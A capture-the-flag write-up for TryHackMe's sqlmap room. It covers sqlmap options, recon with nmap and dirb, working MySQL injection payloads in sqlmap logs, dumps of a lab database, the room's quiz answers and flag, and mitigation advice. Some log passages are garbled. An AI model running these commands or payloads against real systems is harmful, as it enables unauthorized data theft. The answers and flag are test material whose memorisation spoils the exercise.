Learn SQLMAP — TryHackMe
Learn about and use Sqlmap to exploit the web application
Make every campaign better than the last with GetResponse Email Marketing + Landing Pages + Marketing Automation — $49 only
[1] Introduction
we will learn about sqlmap and how it can be used to exploit SQL Injection vulnerabilities.
What is sqlmap?
sqlmap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Installing Sqlmap
If you’re using Kali Linux, sqlmap is pre-installed. Otherwise, you can download it here: https://github.com/sqlmapproject/sqlmap
[2] Using Sqlmap
Sqlmap Commands
To show the basic help menu, simply type sqlmap -h
in the terminal.
root@kali$ sqlmap -h
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
Basic commands:
-u URL, — url=URL :
Target URL (e.g. “http://www.site.com/vuln.php?id=1")
— data=DATA
Data string to be sent through POST (e.g. “id=1”)
— random-agent
Use randomly selected HTTP User-Agent header value
-p TESTPARAMETER
Testable parameter(s)
— level=LEVEL
Level of tests to perform (1–5, default 1)
— risk=RISK
Risk of tests to perform (1–3, default 1)
Enumeration commands:
These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.
-a, — all :
Retrieve everything
-b, — banner :
Retrieve DBMS banner
— current-user :
Retrieve DBMS current user
— current-db :
Retrieve DBMS current database
— passwords :
Enumerate DBMS users password hashes
— dbs :
Enumerate DBMS databases
— tables :
Enumerate DBMS database tables
— columns :
Enumerate DBMS database table columns
— schema :
Enumerate DBMS schema
— dump :
Dump DBMS database table entries
— dump-all :
Dump all DBMS databases tables entries
— is-dba :
Detect if the DBMS current user is DBA
-D <DB NAME> :
DBMS database to enumerate
-T <TABLE NAME> :
DBMS database table(s) to enumerate
-C COL :
DBMS database table column(s) to enumerate
Operating System access commands:
These options can be used to access the back-end database management system on the target operating system.
— os-shell :
Prompt for an interactive operating system shell
— os-pwn :
Prompt for an OOB shell, Meterpreter or VNC
— os-cmd=OSCMD :
Execute an operating system command
— priv-esc :
Database process user privilege escalation
— os-smbrelay :
One-click prompt for an OOB shell, Meterpreter or VNC
Note that the tables shown above aren’t all the possible switches to use with sqlmap. For a more extensive list of options, run
sqlmap -hh
to display the advanced help message.
Now that we’ve seen some of the options we can use with sqlmap, let’s jump into the examples using both GET and POST Method based requests.
Simple HTTP GET Based Test
sqlmap -u https://testsite.com/page.php?id=7 --dbs
Here we have used two flags: -u to state the vulnerable URL and — dbs to enumerate the database.
Simple HTTP POST Based Test
First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select ‘Copy to file’, and save it to a directory. You could also copy the whole request and save it to a text file as well.
You’ll notice in the request above, we have a POST parameter ‘blood_group’ which could a vulnerable parameter.
Saved HTTP POST request
root@kali$ cat req.txt
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close
blood_group=B%2B
Now that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r <request_file> -p <vulnerable_parameter> --dbs
Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and — dbs to enumerate the database.
root@kali$ sqlmap -r req.txt -p blood_group --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[19:31:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:31:50] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:33:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:33:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:33:09] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:33:09] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[19:33:10] [WARNING] reflective value(s) found and filtering out
[19:33:12] [INFO] target URL appears to be UNION injectable with 8 columns
[19:33:13] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
Now that we have the databases, let’s extract tables from the database blood.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables
Using POST based Method
sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables
Once we run these commands, we should get the tables.
root@kali$ sqlmap -r req.txt -p blood_group -D blood --tables
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
Once we have available tables, now let’s gather the columns from the table blood_db.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns
Using POST based Method
sqlmap -r req.txt -D blood -T blood_db --columns
sqlmap -r req.txt -D <database_name> -T <table_name> --columns
root@kali$ sqlmap -r req.txt -D blood -T blood_db --columns
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
Or we can simply dump all the available databases and tables using the following commands.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all
Using POST based Method
sqlmap -r req.txt -D <database_name> --dump-all
sqlmap -r req.txt-p -D <database_name> --dump-all
Answer the questions below
[1] Which flag or option will allow you to add a URL to the command?
Ans: -u
[2] Which flag would you use to add data to a POST request?
Ans: — data
[3] There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?
Ans: -p username
[4] Which flag would you use to show the advanced help menu?
Ans: -hh
[5] Which flag allows you to retrieve everything?
Ans: -a
[6] Which flag allows you to select the database name?
Ans: -D
[7] Which flag would you use to retrieve database tables?
Ans: — tables
[8] Which flag allows you to retrieve a table’s columns?
Ans: — columns
[9] Which flag allows you to dump all the database table entries?
Ans: — dump-all
[10] Which flag will give you an interactive SQL Shell prompt?
Ans: — sql-shell
[11] You know the current db type is ‘MYSQL’. Which flag allows you to enumerate only MySQL databases?
Ans: — dbms=mysql
[3] SQLMap Challenge
Recon
whoami@mint:~$ nmap 10.10.221.121
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-08 03:22 EEST
Nmap scan report for 10.10.221.121
Host is up (0.38s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 62.07 seconds
I found port 80 to be open.
I then ran the service scan and default script scan
whoami@mint:~$ nmap -A -sC -sV 10.10.221.121
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-08 03:24 EEST
Nmap scan report for 10.10.221.121
Host is up (0.38s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.43 seconds
I accessed the website and found out this
Next I ran the dirb tool to find any available directories. I found /blood.
whoami@mint:~$ dirb http://10.10.221.121/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Aug 8 03:35:14 2024
URL_BASE: http://10.10.221.121/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4613
---- Scanning URL: http://10.10.221.121/ ----
==> DIRECTORY: http://10.10.221.121/blood/
It had a login page and registration. I click on the login and then use Burpsuite to intercept the login page and save it to a TXT file
We now use SQLMap to enumarate the Databases for Usernames, Passwords and all data that can be found in it.
To enumerate for current database
root@kali:~$ sqlmap -r req.txt -current-db
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program
[*] starting
12:22:40/2023-04-25/
[12:22:40] [INFO] parsing HTTP request from 'SQLMap.txt'
[12:22:40] [INFO] resuming back-end DBMS 'mysql'
Bakwisd
[12:22:40] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.221.121:80/blood/login.php?error=true'. Do you want to follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n]
sqlmap resumed the following injection point(s) from stored session:
Parameter: username (POST)
Type: error-based
Title: MySQL 5.6 AND error-based WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=name' AND GTID_SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(7377-7377,1))), 0x717a6a7071), 7377)-- hjMi&passwo
rd=1234
Type: time-based blind.
Title: MySQL
5.0.12 AND time-based blind (query SLEEP)
Payload: username=name' AND (SELECT 3484 FROM (SELECT(SLEEP(5)))bqDN)-- mbCb&password=1234
Parameter: password (POST)
Type: error-based
Title: MySQL 5.6 AND error-based WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=name&password=1234' AND GTID SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(6443-6443,1))), 0x717a6a7071), 6443)
-- YMst
Type: time-based blind
Title: MySQL 5.0.12 AND time-based blind (query SLEEP)
Payload: username=name&password=1234 AND (SELECT 3046 FROM (SELECT(SLEEP(5)))aRyz)-- jjna
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[12:22:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL
5.6
[12:22:46] [INFO] fetching current database
[12:22:46] [INFO] resumed: 'blood'
current database: 'blood'
[12:22:46] [INFO] fetched data logged to text files under '/home/whoami/.local/share/sqlmap/output/10.10.221.121'
[*] ending
12:22:46 /2023-04-25/
We find the DB to be blood
Now that we know the name of the Database we look for tables available in the DB
root@kali:~$ sqlmap -r req.txt -D blood --tables
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program
[*] starting 12:25:16 /2023-04-25/
[12:25:16] [INFO] parsing HTTP request from 'req.txt'
[12:25:16] [INFO] resuming back-end DBMS 'mysql'
[12:25:16] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.221.121:80/blood/login.php?error=true'. Do you want to follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n]
sqlmap resumed the following injection point(s) from stored session:
Parameter: password (POST)
Type: error-based
Title: MySQL 5.6 AND error-based WHERE, HAVING, ORDER BY or GROUP BY clause (GTID SUBSET)
Payload: username=name&password=1234' AND GTID SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(6443-6443,1))), 0x717a6a7071), 6443)
-- YMst
Type: time-based blind.
Title: MySQL 5.0.12 AND time-based blind (query SLEEP)
Payload: username=name&password=1234' AND (SELECT 3046 FROM (SELECT(SLEEP(5)))aRyz)-- jjna
Parameter: username (POST)
Type: error-based
Title: MySQL 5.6 AND error-based WHERE, HAVING, ORDER BY or GROUP BY clause (GTID SUBSET)
Payload: username=name' AND GTID SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(7377-7377,1))), 0x717a6a7071), 7377)-- hjMi&passwo
rd=1234
Type: time-based blind
Title: MySQL 5.0.12 AND time-based blind (query SLEEP)
Payload: username=name' AND (SELECT 3484 FROM (SELECT(SLEEP(5)))bqDN)- mbCb&password=1234
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[12:25:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL 5.6
[12:25:22] [INFO] fetching tables for database: 'blood'
[12:25:22] [INFO] resumed: 'blood_db'
[12:25:22] [INFO] resumed: 'flag'
[12:25:22] [INFO] resumed: 'users'
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+
[12:25:22] [INFO] fetched data logged to text files under '/home/whoami/.local/share/sqlmap/output/10.10.221.121'
Now that we are interested in the flag table. We run the dump command to find its details
root@kali:~$ sqlmap -r SQLMap.txt -D blood -T flag --dump
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program
[*] starting 12:27:54/2023-04-25/
[12:27:54] [INFO] parsing HTTP request from 'SQLMap.txt'
[12:27:54] [INFO] resuming back-end DBMS 'mysql'
Timewoo
O Panner
[12:27:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.27.161:80/blood/login.php?error=true'. Do you want to follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n]
sqlmap resumed the following injection point(s) from stored session:
Type: error-based
Parameter: username (POST)
Title: MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=name' AND GTID SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(7377-7377,1))), 0x717a6a7071), 7377)-- hjMi&passwo
rd=1234
Type: time-based blind.
Title: MySQL
5.0.12 AND time-based blind (query SLEEP)
Payload: username=name' AND (SELECT 3484 FROM (SELECT(SLEEP(5)))bqDN)- mbCb&password=1234
Parameter: password (POST)
Type: error-based.
Title: MySQL 5.6 AND error-based WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username-name&password=1234' AND GTID SUBSET(CONCAT(0x7176766a71, (SELECT (ELT(6443-6443,1))), 0x717a6a7071),6443)
-YMst
Type: time-based blind
Title: MySQL 5.0.12 AND time-based blind (query SLEEP)
Payload: username name&password=1234' AND (SELECT 3046 FROM (SELECT(SLEEP(5)))aRyz)-- jjna
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q]
> 0
Quit
[12:27:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL 5.6
[12:27:57] [INFO] fetching columns for table 'flag' in database 'blood'
[12:27:57] [INFO] resumed: 'id'
[12:27:57] [INFO] resumed: 'int(10)'
[12:27:57] [INFO] resumed: 'name'
[12:27:57] [INFO] resumed: 'varchar(30)'
[12:27:57] [INFO] resumed: 'flag'
[12:27:57] [INFO] resumed: 'varchar(50)
[12:27:57] [INFO] fetching entries for table 'flag' in database 'blood'
[12:27:57] [INFO] resumed: 'thm{sqlm@p_is_Love}'
[12:27:57] [INFO] resumed: '1'
[12:27:57] [INFO] resumed: 'flag'
Database: blood
Table: flag
[1 entry]
+---+-----------------------+------+
|id | flag | name |
+---+-------+---------------+------+
| 1 | thm{sqlmap_is_Love) | flag |
+----------------------------------+
Conclusion
Mitigating against exploiting SQL injection flaws and protecting database servers is crucial for maintaining data security and preventing unauthorized access. You need consider:
- Implementing Input Validation and Parameterized Queries: Apply stringent input validation techniques to sanitize user inputs and eliminate potentially malicious SQL statements. Utilize parameterized queries or prepared statements to ensure that user inputs are treated as data rather than executable code.
- Applying Principle of Least Privilege: Restrict database user privileges to the minimum required for their respective tasks. Avoid using privileged accounts for routine operations and assign specific access rights based on user roles. This limits the potential damage an attacker can inflict even if they manage to exploit an SQL injection flaw.
- Regularly Updating and Patching Database Software: Keep the database management system (DBMS) software up to date with the latest security patches. Stay informed about vulnerabilities and exploits related to the specific DBMS and promptly apply relevant patches to protect against known attack vectors.
- Employ Web Application Firewalls (WAFs): Implement a WAF that is capable of detecting and blocking SQL injection attempts. WAFs can analyze incoming requests, identify suspicious SQL statements, and prevent them from reaching the database server. This adds an additional layer of defense against SQL injection attacks.
- Conducting Regular Security Audits and Penetration Testing: Perform comprehensive security audits and penetration tests on your application and database infrastructure. Engage with experienced security professionals to identify and address any existing vulnerabilities or weaknesses. Regular testing helps in proactively identifying SQL injection flaws and taking appropriate mitigation measures.
By following these key points, organizations can significantly reduce the risk of SQL injection attacks and ensure the integrity and security of their database servers. It is essential to adopt a proactive approach to security, keeping up with the latest best practices and staying vigilant against emerging threats.